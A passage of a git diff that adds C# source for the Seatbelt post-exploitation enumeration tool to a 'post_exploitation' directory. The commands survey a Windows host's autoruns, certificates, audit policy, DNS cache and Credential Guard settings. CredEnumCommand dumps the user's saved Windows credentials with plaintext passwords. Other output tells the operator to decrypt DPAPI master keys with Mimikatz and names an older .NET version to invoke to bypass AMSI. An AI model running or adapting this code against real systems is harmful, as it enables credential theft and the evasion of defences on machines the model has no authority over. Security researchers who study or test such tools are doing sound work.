given path, recursive + // adapted from http://csharphelper.com/blog/2015/06/find-files-that-match-multiple-patterns-in-c/ + // pattern: "*pass*;*.png;" + + var files = new List(); + try + { + var filesUnfiltered = GetFiles(path).ToList(); + + files.AddRange(filesUnfiltered.Where(f => f.Contains(pattern.Trim('*')))); + } + catch (UnauthorizedAccessException) { } + catch (PathTooLongException) { } + + return files; + } + + // FROM: https://stackoverflow.com/a/929418 + private static IEnumerable GetFiles(string path) + { + var queue = new Queue(); + queue.Enqueue(path); + while (queue.Count > 0) + { + path = queue.Dequeue(); + try + { + foreach (var subDir in Directory.GetDirectories(path)) + { + queue.Enqueue(subDir); + } + } + catch (Exception) + { + // Eat it + } + string[]? files = null; + try + { + files = Directory.GetFiles(path); + } + catch (Exception) + { + // Eat it + } + + if(files == null) + continue; + ; + foreach (var f in files) + { + yield return f; + } + } + } + + internal class AuditPolicyGPO : CommandDTOBase + { + public AuditPolicyGPO(string path, string domain, string gpo, string type, List settings) + { + Path = path; + Domain = domain; + GPO = gpo; + Type = type; + Settings = settings; + } + public string Path { get; } + public string Domain { get; } + public string GPO { get; } + public string Type { get; } + public List Settings { get; } + } + + [CommandOutputType(typeof(AuditPolicyGPO))] + internal class AuditPolicyormatter : TextFormatterBase + { + public AuditPolicyormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (AuditPolicyGPO)result; + + //WriteLine(" {0,-40} : {1}", "File", dto.Path); + WriteLine(" {0,-40} : {1}", "Domain", dto.Domain); + WriteLine(" {0,-40} : {1}", "GPO", dto.GPO); + WriteLine(" {0,-40} : {1}", "Type", dto.Type); + foreach (var entry in dto.Settings) + { + WriteLine(" {0,40} : {1}", entry.Subcategory, entry.AuditType); + } + WriteLine(); + } + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AuditPolicyRegistryCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AuditPolicyRegistryCommand.cs new file mode 100644 index 0000000..03e9c5a --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AuditPolicyRegistryCommand.cs @@ -0,0 +1,78 @@ +using Microsoft.Win32; +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands.Windows +{ + // TODO: If elevated, pull with Windows Audit Policy/Advanced Audit policy + internal class AuditPolicyRegistryCommand : CommandBase + { + public override string Command => "AuditPolicyRegistry"; + public override string Description => "Audit settings via the registry"; + public override CommandGroup[] Group => new[] {CommandGroup.System, CommandGroup.Remote}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public AuditPolicyRegistryCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // TODO: Expand the audit policy enumeration + var settings = ThisRunTime.GetValues(RegistryHive.LocalMachine, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit"); + + if (settings == null) + yield break; + + foreach (var kvp in settings) + { + if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType()?.ToString() == "System.String")) + { + var result = string.Join(",", (string[])kvp.Value); + yield return new AuditPolicyDTO( + kvp.Key, + result + ); + } + else + { + yield return new AuditPolicyDTO( + kvp.Key, + $"{kvp.Value}" + ); + } + } + } + + internal class AuditPolicyDTO : CommandDTOBase + { + public AuditPolicyDTO(string key, string value) + { + Key = key; + Value = value; + } + public string Key { get; } + public string Value { get; } + } + + + [CommandOutputType(typeof(AuditPolicyDTO))] + internal class AuditPolicyTextFormatter : TextFormatterBase + { + public AuditPolicyTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (AuditPolicyDTO)result; + + WriteLine(" {0,-30} : {1}", dto.Key, dto.Value); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AutoRunsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AutoRunsCommand.cs new file mode 100644 index 0000000..2e70ad9 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/AutoRunsCommand.cs @@ -0,0 +1,85 @@ +#nullable disable +using Microsoft.Win32; +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands.Windows +{ + internal class AutoRunsCommand : CommandBase + { + public override string Command => "AutoRuns"; + public override string Description => "Auto run executables/scripts/programs"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public AutoRunsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + //WriteHost("Registry Autoruns"); + + string[] autorunLocations = new string[] { + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunService", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceService", + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunService", + "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnceService" + }; + + foreach (string autorunLocation in autorunLocations) + { + var settings = ThisRunTime.GetValues(RegistryHive.LocalMachine, autorunLocation); + + if ((settings != null) && (settings.Count != 0)) + { + AutoRunDTO entry = new AutoRunDTO(); + + entry.Key = System.String.Format("HKLM:\\{0}", autorunLocation); + entry.Entries = new List(); + + foreach (KeyValuePair kvp in settings) + { + entry.Entries.Add(kvp.Value.ToString()); + } + + yield return entry; + } + } + } + + internal class AutoRunDTO : CommandDTOBase + { + public string Key { get; set; } + public List Entries { get; set; } + } + + [CommandOutputType(typeof(AutoRunDTO))] + internal class AutoRunTextFormatter : TextFormatterBase + { + public AutoRunTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (AutoRunDTO)result; + + WriteLine("\n {0} :", dto.Key); + foreach (string entry in dto.Entries) + { + WriteLine(" {0}", entry); + } + } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/CertificateThumbprints.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/CertificateThumbprints.cs new file mode 100644 index 0000000..58d7932 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/CertificateThumbprints.cs @@ -0,0 +1,70 @@ +using System; +using System.Collections.Generic; +using System.Security.Cryptography.X509Certificates; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + +namespace Seatbelt.Commands +{ + internal class CertificateThumbprintCommand : CommandBase + { + public override string Command => "CertificateThumbprints"; + public override string Description => "Finds thumbprints for all certificate store certs on the systen"; + public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.System }; + public override bool SupportRemote => false; + + public CertificateThumbprintCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + foreach (var storeName in new Enum[] { StoreName.Root, StoreName.CertificateAuthority, StoreName.AuthRoot, StoreName.TrustedPeople, StoreName.TrustedPublisher }) + { + foreach (var storeLocation in new Enum[] { StoreLocation.CurrentUser, StoreLocation.LocalMachine }) + { + var store = new X509Store((StoreName)storeName, (StoreLocation)storeLocation); + store.Open(OpenFlags.ReadOnly); + + foreach (var certificate in store.Certificates) + { + if (!Runtime.FilterResults || (Runtime.FilterResults && (DateTime.Compare(certificate.NotAfter, DateTime.Now) >= 0))) + { + yield return new CertificateThumbprintDTO() + { + StoreName = $"{storeName}", + StoreLocation = $"{storeLocation}", + SimpleName = certificate.GetNameInfo(X509NameType.SimpleName, false), + Thumbprint = certificate.Thumbprint, + ExpiryDate = certificate.NotAfter, + }; + } + } + } + } + } + + internal class CertificateThumbprintDTO : CommandDTOBase + { + public string? StoreName { get; set; } + public string? StoreLocation { get; set; } + public string? SimpleName { get; set; } + public string? Thumbprint { get; set; } + public DateTime? ExpiryDate { get; set; } + } + + [CommandOutputType(typeof(CertificateThumbprintDTO))] + internal class CertificateThumbprintFormatter : TextFormatterBase + { + public CertificateThumbprintFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (CertificateThumbprintDTO)result; + WriteLine($"{dto.StoreLocation}\\{dto.StoreName} - {dto.Thumbprint} ({dto.SimpleName}) {dto.ExpiryDate}"); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/Certificates.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/Certificates.cs new file mode 100644 index 0000000..428388c --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/Certificates.cs @@ -0,0 +1,137 @@ +using System; +using System.Collections.Generic; +using System.Security.Cryptography.X509Certificates; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + +namespace Seatbelt.Commands +{ + internal class CertificateCommand : CommandBase + { + public override string Command => "Certificates"; + public override string Description => "Finds user and machine personal certificate files"; + public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.System}; + public override bool SupportRemote => false; + + public CertificateCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + foreach (var storeLocation in new Enum[] { StoreLocation.CurrentUser, StoreLocation.LocalMachine }) + { + var store = new X509Store(StoreName.My, (StoreLocation)storeLocation); + store.Open(OpenFlags.ReadOnly); + + foreach (var certificate in store.Certificates) + { + var template = ""; + var enhancedKeyUsages = new List(); + bool? keyExportable = false; + + try + { + certificate.PrivateKey.ToXmlString(true); + keyExportable = true; + } + catch (Exception e) + { + keyExportable = !e.Message.Contains("not valid for use in specified state"); + } + + foreach (var ext in certificate.Extensions) + { + if (ext.Oid.FriendlyName == "Enhanced Key Usage") + { + var extUsages = ((X509EnhancedKeyUsageExtension)ext).EnhancedKeyUsages; + + if (extUsages.Count == 0) + continue; + + foreach (var extUsage in extUsages) + { + enhancedKeyUsages.Add(extUsage.FriendlyName); + } + } + else if (ext.Oid.FriendlyName == "Certificate Template Name" || ext.Oid.FriendlyName == "Certificate Template Information") + { + template = ext.Format(false); + } + } + + if (!Runtime.FilterResults || (Runtime.FilterResults && (DateTime.Compare(certificate.NotAfter, DateTime.Now) >= 0))) + { + yield return new CertificateDTO() + { + StoreLocation = $"{storeLocation}", + Issuer = certificate.Issuer, + Subject = certificate.Subject, + ValidDate = certificate.NotBefore, + ExpiryDate = certificate.NotAfter, + HasPrivateKey = certificate.HasPrivateKey, + KeyExportable = keyExportable, + Template = template, + Thumbprint = certificate.Thumbprint, + EnhancedKeyUsages = enhancedKeyUsages + }; + } + } + } + } + + internal class CertificateDTO : CommandDTOBase + { + public string? StoreLocation { get; set; } + public string? Issuer { get; set; } + public string? Subject { get; set; } + public DateTime? ValidDate { get; set; } + public DateTime? ExpiryDate { get; set; } + public bool? HasPrivateKey { get; set; } + public bool? KeyExportable { get; set; } + public string? Thumbprint { get; set; } + public string? Template { get; set; } + public List? EnhancedKeyUsages { get; set; } + } + + [CommandOutputType(typeof(CertificateDTO))] + internal class CertificateFormatter : TextFormatterBase + { + public CertificateFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (CertificateDTO)result; + + WriteLine(" StoreLocation : {0}", dto.StoreLocation); + WriteLine(" Issuer : {0}", dto.Issuer); + WriteLine(" Subject : {0}", dto.Subject); + WriteLine(" ValidDate : {0}", dto.ValidDate); + WriteLine(" ExpiryDate : {0}", dto.ExpiryDate); + WriteLine(" HasPrivateKey : {0}", dto.HasPrivateKey); + WriteLine(" KeyExportable : {0}", dto.KeyExportable); + WriteLine(" Thumbprint : {0}", dto.Thumbprint); + + if (!string.IsNullOrEmpty(dto.Template)) + { + WriteLine(" Template : {0}", dto.Template); + } + + if (dto.EnhancedKeyUsages?.Count > 0) + { + WriteLine(" EnhancedKeyUsages :"); + foreach(var eku in dto.EnhancedKeyUsages) + { + WriteLine(" {0}{1}", + eku, + eku == "Client Authentication" ? " [!] Certificate is used for client authentication!" : ""); + + } + } + WriteLine(); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/CredEnumCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/CredEnumCommand.cs new file mode 100644 index 0000000..d059987 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/CredEnumCommand.cs @@ -0,0 +1,121 @@ +#nullable disable +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; +using Seatbelt.Interop; +using System.ComponentModel; +using System.Text; + + +// this code was adapted by @djhohnstein from @peewpw's work at +// https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1 +// which was originally based on https://github.com/spolnik/Simple.CredentialsManager + +namespace Seatbelt.Commands.Windows +{ + internal class CredEnumCommand : CommandBase + { + public override string Command => "CredEnum"; + public override string Description => "Enumerates the current user's saved credentials using CredEnumerate()"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; + public override bool SupportRemote => false; + + public CredEnumCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // from https://gist.github.com/meziantou/10311113#file-credentialmanager-cs-L83-L105 + var ret = Advapi32.CredEnumerate(null, 0, out var count, out var pCredentials); + if (!ret) + { + var lastError = Marshal.GetLastWin32Error(); + throw new Win32Exception(lastError); + } + + for (var n = 0; n < count; n++) + { + var credentialPtr = Marshal.ReadIntPtr(pCredentials, n * Marshal.SizeOf(typeof(IntPtr))); + var credential = (Advapi32.CREDENTIAL)Marshal.PtrToStructure(credentialPtr, typeof(Advapi32.CREDENTIAL)); + + string password = null; + if (credential.CredentialBlob != IntPtr.Zero) + { + var passwordBytes = new byte[credential.CredentialBlobSize]; + Marshal.Copy(credential.CredentialBlob, passwordBytes, 0, credential.CredentialBlobSize); + var flags = Advapi32.IsTextUnicodeFlags.IS_TEXT_UNICODE_STATISTICS; + + if (Advapi32.IsTextUnicode(passwordBytes, passwordBytes.Length, ref flags)) + { + password = Encoding.Unicode.GetString(passwordBytes); + } + else + { + password = BitConverter.ToString(passwordBytes).Replace("-", " "); + } + } + + yield return new CredEnumDTO( + credential.TargetName, + credential.Comment, + credential.UserName, + password, + credential.Type, + credential.Persist, + DateTime.FromFileTime(credential.LastWritten) + ); + } + + Advapi32.CredFree(pCredentials); + } + + internal class CredEnumDTO : CommandDTOBase + { + public CredEnumDTO(string target, string comment, string username, string password, Advapi32.CredentialType credentialType, Advapi32.PersistenceType persistenceType, DateTime lastWriteTime) + { + Target = target; + Comment = comment; + Username = username; + Password = password; + CredentialType = credentialType; + PersistenceType = persistenceType; + LastWriteTime = lastWriteTime; + } + public string Target { get; } + public string Comment { get; } + public string Username { get; } + public string Password { get; } + public Advapi32.CredentialType CredentialType { get; } + public Advapi32.PersistenceType PersistenceType { get; } + public DateTime LastWriteTime { get; } + } + + [CommandOutputType(typeof(CredEnumDTO))] + internal class WindowsVaultFormatter : TextFormatterBase + { + public WindowsVaultFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (CredEnumDTO)result; + + WriteLine($" Target : {dto.Target}"); + if (!String.IsNullOrEmpty(dto.Comment)) + { + WriteLine($" Comment : {dto.Comment}"); + } + WriteLine($" UserName : {dto.Username}"); + WriteLine($" Password : {dto.Password}"); + WriteLine($" CredentialType : {dto.CredentialType}"); + WriteLine($" PersistenceType : {dto.PersistenceType}"); + WriteLine($" LastWriteTime : {dto.LastWriteTime}\r\n"); + } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/CredentialGuardCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/CredentialGuardCommand.cs new file mode 100644 index 0000000..9a0f146 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/CredentialGuardCommand.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using System.Linq; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using System.Management; +using System; + +namespace Seatbelt.Commands +{ + enum VBS + { + NOT_ENABLED = 0, + ENABLED_NOT_RUNNING = 1, + ENABLED_AND_RUNNING = 2 + } + + internal class CredentialGuardCommand : CommandBase + { + public override string Command => "CredGuard"; + public override string Description => "CredentialGuard configuration"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + + public CredentialGuardCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // adapted from @chrismaddalena's PR (https://github.com/GhostPack/Seatbelt/pull/22/files) + + // settings reference - https://www.tenforums.com/tutorials/68926-verify-if-device-guard-enabled-disabled-windows-10-a.html + + ManagementObjectCollection? data = null; + try + { + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\Microsoft\Windows\DeviceGuard", "SELECT * FROM Win32_DeviceGuard"); + data = wmiData.Get(); + } + catch (ManagementException ex) when (ex.ErrorCode == ManagementStatus.InvalidNamespace) + { + WriteError(string.Format(" [X] 'Win32_DeviceGuard' WMI class unavailable", ex.Message)); + } + catch (Exception ex) + { + WriteError(ex.ToString()); + } + + if (data == null) + { + yield break; + } + + foreach (var result in data) + { + // reference: + // https://github.com/GhostPack/Seatbelt/blob/f47c342150e70e96669017bbec258e27227ba1ef/Seatbelt/Program.cs#L1754-L1766 + + var configCheck = (int[])result.GetPropertyValue("SecurityServicesConfigured"); + var serviceCheck = (int[])result.GetPropertyValue("SecurityServicesRunning"); + + var vbsSetting = (VBS)0; + var configured = false; + var running = false; + + uint? vbs = (uint)result.GetPropertyValue("VirtualizationBasedSecurityStatus"); + if(vbs != null) + { + vbsSetting = (VBS)vbs; + } + + if(configCheck.Contains(1)) + { + configured = true; + } + + if (serviceCheck.Contains(1)) + { + running = true; + } + + yield return new CredGuardDTO() + { + VirtualizationBasedSecurityStatus = vbsSetting, + Configured = configured, + Running = running + }; + } + } + + class CredGuardDTO : CommandDTOBase + { + public VBS VirtualizationBasedSecurityStatus { get; set; } + + public bool Configured { get; set; } + + public bool Running { get; set; } + } + + [CommandOutputType(typeof(CredGuardDTO))] + internal class CredentialGuardFormatter : TextFormatterBase + { + public CredentialGuardFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (CredGuardDTO)result; + + + } + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/DNSCacheCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/DNSCacheCommand.cs new file mode 100644 index 0000000..36ed935 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/DNSCacheCommand.cs @@ -0,0 +1,71 @@ +using System; +using System.Collections.Generic; +using System.Management; + + +namespace Seatbelt.Commands.Windows +{ + internal class DNSCacheCommand : CommandBase + { + public override string Command => "DNSCache"; + public override string Description => "DNS cache entries (via WMI)"; + public override CommandGroup[] Group => new[] {CommandGroup.System, CommandGroup.Remote}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public DNSCacheCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + ManagementObjectCollection? data = null; + + // lists the local DNS cache via WMI (MSFT_DNSClientCache class) + try + { + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\standardcimv2", "SELECT * FROM MSFT_DNSClientCache"); + data = wmiData.Get(); + } + catch (ManagementException ex) when (ex.ErrorCode == ManagementStatus.InvalidNamespace) + { + WriteError(string.Format(" [X] 'MSFT_DNSClientCache' WMI class unavailable (minimum supported versions of Windows: 8/2012)", ex.Message)); + } + catch (Exception ex) + { + WriteError(ex.ToString()); + } + + if (data == null) + { + yield break; + } + + foreach (var o in data) + { + var result = (ManagementObject) o; + yield return new DNSCacheDTO( + result["Entry"], + result["Name"], + result["Data"] + ); + } + + data.Dispose(); + } + } + + internal class DNSCacheDTO : CommandDTOBase + { + public DNSCacheDTO(object entry, object name, object data) + { + Entry = entry; + Name = name; + Data = data; + } + public object Entry { get; set; } + public object Name { get; set; } + public object Data { get; set; } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/DotNetCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/DotNetCommand.cs new file mode 100644 index 0000000..8c07199 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/DotNetCommand.cs @@ -0,0 +1,147 @@ +using Microsoft.Win32; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Management; + +namespace Seatbelt.Commands.Windows +{ + internal class DotNetCommand : CommandBase + { + public override string Command => "DotNet"; + public override string Description => "DotNet versions"; + public override CommandGroup[] Group => new[] {CommandGroup.System, CommandGroup.Remote}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public DotNetCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + private IEnumerable GetCLRVersions() + { + var versions = new List(); + + var dirs = ThisRunTime.GetDirectories("\\Windows\\Microsoft.Net\\Framework\\"); + foreach (var dir in dirs) + { + if (System.IO.File.Exists($"{dir}\\System.dll")) + { + // yes, I know I'm passing a directory and not a file. I know this is a hack :) + versions.Add(System.IO.Path.GetFileName(dir.TrimEnd(System.IO.Path.DirectorySeparatorChar)).TrimStart('v')); + } + } + + return versions; + } + + public string GetOSVersion() + { + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "SELECT Version FROM Win32_OperatingSystem"); + + try + { + foreach (var os in wmiData.Get()) + { + return os["Version"].ToString(); + } + } + catch { } + + return ""; + } + + public override IEnumerable Execute(string[] args) + { + var installedDotNetVersions = new List(); + var installedCLRVersions = new List(); + installedCLRVersions.AddRange(GetCLRVersions()); + +#nullable disable + var dotNet35Version = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\NET Framework Setup\NDP\v3.5", "Version"); + if (!string.IsNullOrEmpty(dotNet35Version)) + { + installedDotNetVersions.Add(dotNet35Version); + } + + var dotNet4Version = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full", "Version"); + if (!string.IsNullOrEmpty(dotNet4Version)) + { + installedDotNetVersions.Add(dotNet4Version); + } + + int osVersionMajor = int.Parse(GetOSVersion().Split('.')[0]); +#nullable restore + yield return new DotNetDTO( + installedCLRVersions.ToArray(), + installedDotNetVersions.ToArray(), + osVersionMajor >= 10 + ); + } + } + + class DotNetDTO : CommandDTOBase + { + public DotNetDTO(string[] installedCLRVersions, string[] installedDotNetVersions, bool osSupportsAmsi) + { + InstalledCLRVersions = installedCLRVersions; + InstalledDotNetVersions = installedDotNetVersions; + OsSupportsAmsi = osSupportsAmsi; + } + public string[] InstalledCLRVersions { get; } + public string[] InstalledDotNetVersions { get; } + public bool OsSupportsAmsi { get; } + } + + [CommandOutputType(typeof(DotNetDTO))] + internal class DotNetTextFormatter : TextFormatterBase + { + public DotNetTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (DotNetDTO)result; + var lowestVersion = dto.InstalledDotNetVersions.Min(v => (new Version(v))); + var highestVersion = dto.InstalledDotNetVersions.Max(v => (new Version(v))); + bool dotNetSupportsAMSI = ((highestVersion.Major >= 4) && (highestVersion.Minor >= 8)); + + WriteLine(" Installed CLR Versions"); + foreach (var v in dto.InstalledCLRVersions) + { + WriteLine(" " + v); + } + + WriteLine("\n Installed .NET Versions"); + foreach (var v in dto.InstalledDotNetVersions) + { + WriteLine(" " + v); + } + + WriteLine("\n Anti-Malware Scan Interface (AMSI)"); + WriteLine($" OS supports AMSI : {dto.OsSupportsAmsi}"); + WriteLine($" .NET version support AMSI : {dotNetSupportsAMSI}"); + + if((highestVersion.Major == 4) && (highestVersion.Minor >= 8)) + { + WriteLine($" [!] The highest .NET version is enrolled in AMSI!"); + } + + if ( + dto.OsSupportsAmsi && + dotNetSupportsAMSI && + (( + (lowestVersion.Major == 3) + ) || + ((lowestVersion.Major == 4) && (lowestVersion.Minor < 8))) + ) + { + WriteLine($" [*] You can invoke .NET version {lowestVersion.Major}.{lowestVersion.Minor} to bypass AMSI."); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/DpapiMasterKeysCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/DpapiMasterKeysCommand.cs new file mode 100644 index 0000000..f861019 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/DpapiMasterKeysCommand.cs @@ -0,0 +1,117 @@ +#nullable disable +using System; +using System.Collections.Generic; +using System.IO; +using System.Text.RegularExpressions; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands.Windows +{ + class MasterKey + { + public string FileName { get; set; } + + public DateTime LastAccessed { get; set; } + + public DateTime LastModified { get; set; } + } + + internal class DpapiMasterKeysCommand : CommandBase + { + public override string Command => "DpapiMasterKeys"; + public override string Description => "List DPAPI master keys"; + public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + + public DpapiMasterKeysCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) + { + continue; + } + + var userDpapiBasePath = $"{dir}\\AppData\\Roaming\\Microsoft\\Protect\\"; + if (!Directory.Exists(userDpapiBasePath)) + { + continue; + } + + var directories = Directory.GetDirectories(userDpapiBasePath); + foreach (var directory in directories) + { + var files = Directory.GetFiles(directory); + + var MasterKeys = new List(); + + foreach (var file in files) + { + if (!Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) + { + continue; + } + + var masterKey = new MasterKey(); + masterKey.FileName = Path.GetFileName(file); + masterKey.LastAccessed = File.GetLastAccessTime(file); + masterKey.LastModified = File.GetLastAccessTime(file); + MasterKeys.Add(masterKey); + } + + yield return new DpapiMasterKeysDTO() + { + Folder = $"{directory}", + MasterKeys = MasterKeys + }; + } + } + + WriteHost("\n [*] Use the Mimikatz \"dpapi::masterkey\" module with appropriate arguments (/pvk or /rpc) to decrypt"); + WriteHost(" [*] You can also extract many DPAPI masterkeys from memory with the Mimikatz \"sekurlsa::dpapi\" module"); + WriteHost(" [*] You can also use SharpDPAPI for masterkey retrieval."); + } + + internal class DpapiMasterKeysDTO : CommandDTOBase + { + public string Folder { get; set; } + public List MasterKeys { get; set; } + } + + [CommandOutputType(typeof(DpapiMasterKeysDTO))] + internal class DpapiMasterKeysFormatter : TextFormatterBase + { + public DpapiMasterKeysFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (DpapiMasterKeysDTO)result; + + WriteLine(" Folder : {0}\n", dto.Folder); + WriteLine($" LastAccessed LastModified FileName"); + WriteLine($" ------------ ------------ --------"); + + foreach(var masterkey in dto.MasterKeys) + { + WriteLine(" {0,-22} {1,-22} {2}", masterkey.LastAccessed, masterkey.LastModified, masterkey.FileName); + } + + WriteLine(); + } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/DsRegCmd.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/DsRegCmd.cs new file mode 100644 index 0000000..8c8e978 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/DsRegCmd.cs @@ -0,0 +1,169 @@ +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using static Seatbelt.Interop.Netapi32; + +namespace Seatbelt.Commands.Windows +{ + internal class DSregcmdCommand : CommandBase + { + public override string Command => "Dsregcmd"; + public override string Description => "Return Tenant information - Replacement for Dsregcmd /status"; + public override CommandGroup[] Group => new[] { CommandGroup.User }; // either CommandGroup.System, CommandGroup.User, or CommandGroup.Misc + public override bool SupportRemote => false; // set to true if you want to signal that your module supports remote operations + + public DSregcmdCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + //original code from https://github.com/ThomasKur/WPNinjas.Dsregcmd/blob/2cff7b273ad4d3fc705744f76c4bd0701b2c36f0/WPNinjas.Dsregcmd/DsRegCmd.cs + + var tenantId = ""; + var retValue = NetGetAadJoinInformation(tenantId, out var ptrJoinInfo); + if (retValue == 0) + { + var joinInfo = 